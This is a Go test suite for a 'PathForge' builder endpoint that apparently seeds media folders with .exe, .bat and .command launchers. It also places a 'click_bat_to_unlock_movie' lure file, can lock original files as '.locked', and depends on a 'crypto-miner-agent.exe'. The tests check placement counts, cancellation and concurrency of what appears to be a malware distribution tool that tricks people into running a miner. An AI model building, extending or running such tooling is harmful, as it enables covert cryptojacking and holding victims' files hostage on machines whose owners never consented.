package builder import ( "context" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "runtime" "strings" "sync" "testing" "time" ) func TestPathForgePlacedExcludesHintFile(t *testing.T) { root := t.TempDir() mediaDir := filepath.Join(root, "movies") if err := os.MkdirAll(mediaDir, 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil { t.Fatal(err) } // Satisfy Windows target requirement. exe, err := os.Executable() if err != nil { t.Fatal(err) } agentDir := filepath.Join(filepath.Dir(exe), "agent") if err := os.MkdirAll(agentDir, 0755); err != nil { t.Fatal(err) } agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe") if runtime.GOOS == "windows" { if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil { t.Fatal(err) } } else { // Non-Windows: mac-only path avoids agent exe requirement. } body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}` if runtime.GOOS != "windows" { body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}` } h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d body=%s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if res.Total != 1 { t.Fatalf("total: %d", res.Total) } // One media file → exe + bat (or .command), not counting hint file. if res.Placed < 1 || res.Placed >= 3 { t.Fatalf("placed should count companions only (not hint): %d", res.Placed) } // Verify each result entry: the hint file must be present (it is placed on // disk alongside the media), and there must be at least one launcher companion // (e.g. .bat/.command/.exe). Together with the Placed assertion above this // confirms the hint is placed but NOT counted in the Placed total. for _, entry := range res.Results { foundHint := false for _, f := range entry.Files { if f == "click_bat_to_unlock_movie" { foundHint = true } } if !foundHint { t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files) } if len(entry.Files) < 2 { t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files) } } } // TestPathForgeCancelInFlightWalk cancels the request context while the walk is // running (not pre-cancelled) and verifies the handler returns promptly with a // walk error recorded. func TestPathForgeCancelInFlightWalk(t *testing.T) { root := t.TempDir() for i := 0; i < 50; i++ { sub := filepath.Join(root, fmt.Sprintf("dir%d", i)) if err := os.MkdirAll(sub, 0755); err != nil { t.Fatal(err) } name := fmt.Sprintf("clip%d.mkv", i) if err := os.WriteFile(filepath.Join(sub, name), []byte("data"), 0644); err != nil { t.Fatal(err) } } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` ctx, cancel := context.WithCancel(context.Background()) h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) req = req.WithContext(ctx) rec := httptest.NewRecorder() done := make(chan struct{}) go func() { h.ServeHTTP(rec, req) close(done) }() time.Sleep(15 * time.Millisecond) cancel() select { case <-done: case <-time.After(3 * time.Second): t.Fatal("handler did not return after in-flight context cancel") } if rec.Code != http.StatusOK { t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatalf("decode: %v", err) } hasWalkErr := false for _, e := range res.ErrorList { if strings.Contains(e, "walk error") || strings.Contains(e, context.Canceled.Error()) { hasWalkErr = true break } } if !hasWalkErr && res.Total == 50 && res.Placed > 0 { t.Log("walk finished before cancel — acceptable on fast filesystems") } else if !hasWalkErr && res.Total < 50 { t.Logf("partial walk before cancel: total=%d placed=%d", res.Total, res.Placed) } else if !hasWalkErr { t.Errorf("expected walk error or partial progress after cancel; total=%d errors=%d list=%v", res.Total, res.Errors, res.ErrorList) } } // TestPathForgeContextCancel verifies that cancelling the request context stops // the walk gracefully without hanging or panicking. A pre-cancelled context // causes the walk closure to exit immediately on the first iteration. func TestPathForgeContextCancel(t *testing.T) { root := t.TempDir() for i := 0; i < 5; i++ { name := fmt.Sprintf("video%d.mkv", i) if err := os.WriteFile(filepath.Join(root, name), []byte("data"), 0644); err != nil { t.Fatal(err) } } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` ctx, cancel := context.WithCancel(context.Background()) cancel() // pre-cancel so the walk exits at the first check h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) req = req.WithContext(ctx) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) // must return promptly, not hang if rec.Code != http.StatusOK { t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatalf("response decode: %v", err) } // With a pre-cancelled context the walk stops before placing any files. if res.Placed != 0 { t.Errorf("expected 0 placements with cancelled context, got %d", res.Placed) } t.Logf("context cancel: placed=%d total=%d errors=%d", res.Placed, res.Total, res.Errors) } // TestPathForgePartialPlacementErrorCount verifies that the Placed counter only // reflects successfully placed files; a read-only directory causes placement // failure for that subtree while other directories succeed. func TestPathForgePartialPlacementErrorCount(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("read-only directory permission simulation is not reliable on Windows") } root := t.TempDir() dir1 := filepath.Join(root, "good") dir2 := filepath.Join(root, "locked") if err := os.MkdirAll(dir1, 0755); err != nil { t.Fatal(err) } if err := os.MkdirAll(dir2, 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(dir1, "clip.mkv"), []byte("video"), 0644); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(dir2, "film.mkv"), []byte("video"), 0644); err != nil { t.Fatal(err) } // Make dir2 read-only so companion files cannot be written there. if err := os.Chmod(dir2, 0555); err != nil { t.Fatal(err) } defer func() { _ = os.Chmod(dir2, 0755) }() body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if res.Total != 2 { t.Fatalf("expected 2 total media files, got %d", res.Total) } // dir1 succeeds; dir2 is read-only so it fails → Placed must not double-count. if res.Placed < 1 { t.Errorf("expected at least 1 placed (from dir1), got %d", res.Placed) } if res.Errors == 0 { t.Errorf("expected at least 1 error from read-only dir2, got 0") } // Placed + Errors must equal Total (every file either placed or errored). if res.Placed+res.Errors != res.Total { t.Errorf("placed(%d)+errors(%d) != total(%d): counts are inconsistent", res.Placed, res.Errors, res.Total) } } // TestPathForgeLockOriginalFalseKeepsOriginal verifies that when lock_original is // false the source media file is not renamed or otherwise modified. func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) { root := t.TempDir() mediaPath := filepath.Join(root, "movie.mkv") if err := os.WriteFile(mediaPath, []byte("video content"), 0644); err != nil { t.Fatal(err) } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","lock_original":false}` h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if !res.Success { t.Fatalf("expected success, got errors: %v", res.ErrorList) } // Original file must still exist at its original path. if _, err := os.Stat(mediaPath); err != nil { t.Errorf("original file missing after pathforge (lock_original=false): %v", err) } // .locked variant must NOT have been created. if _, err := os.Stat(mediaPath + ".locked"); err == nil { t.Error("original file was unexpectedly renamed to .locked when lock_original=false") } } // TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not // contain traversal sequences and must resolve under home, temp, or server dataDir. func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) { h := NewPathForgeHandler(t.TempDir()) cases := []struct { name string rootPath string skipUnless func() bool wantSubstr string }{ { name: "traversal_dotdot", rootPath: "../../../windows", wantSubstr: "path traversal", }, { name: "unix_system_path", rootPath: "/etc", skipUnless: func() bool { return runtime.GOOS != "windows" }, wantSubstr: "outside allowed directories", }, { name: "windows_system_path", rootPath: `C:\Windows\System32`, skipUnless: func() bool { return runtime.GOOS == "windows" }, wantSubstr: "outside allowed directories", }, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { if tc.skipUnless != nil && !tc.skipUnless() { t.Skip("not applicable on this platform") } escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`) body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String()) } respBody := rec.Body.String() if !strings.Contains(respBody, "root_path rejected") { t.Errorf("expected root_path rejected in body, got %q", respBody) } if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) { t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody) } // Validation rejects before any walk/placement; Placed must stay 0. var res PathForgeResult if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 { t.Errorf("Placed=%d, want 0", res.Placed) } }) } } // TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the // requested extension set increment Skipped while matching extensions are placed. // With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed. func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) { root := t.TempDir() for name, content := range map[string]string{ "clip.mkv": "video", "readme.txt": "notes", "photo.jpg": "image", } { if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil { t.Fatal(err) } } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}` h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if res.Skipped != 2 { t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped) } if res.Total != 1 { t.Errorf("total: got %d, want 1 (.jpg only)", res.Total) } if res.Placed < 1 { t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed) } if res.Errors != 0 { t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList) } if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" { t.Errorf("results: want single photo.jpg entry, got %+v", res.Results) } if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil { t.Errorf("photo.command missing: %v", err) } } // TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the // same root_path complete without hang or panic and leave companions on disk. func TestPathForgeConcurrentPlacements(t *testing.T) { root := t.TempDir() mediaPath := filepath.Join(root, "film.mkv") if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil { t.Fatal(err) } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` h := NewPathForgeHandler(t.TempDir()) const n = 2 var wg sync.WaitGroup wg.Add(n) type outcome struct { code int res PathForgeResult } outcomes := make([]outcome, n) for i := 0; i < n; i++ { i := i go func() { defer wg.Done() req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) outcomes[i].code = rec.Code if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil { t.Errorf("goroutine %d decode: %v", i, err) } }() } wg.Wait() for i, o := range outcomes { if o.code != http.StatusOK { t.Errorf("goroutine %d: status %d", i, o.code) } if o.res.Total != 1 { t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total) } if o.res.Placed < 1 { t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed) } } if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil { t.Errorf("film.command missing after concurrent placements: %v", err) } if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil { t.Errorf("hint file missing after concurrent placements: %v", err) } }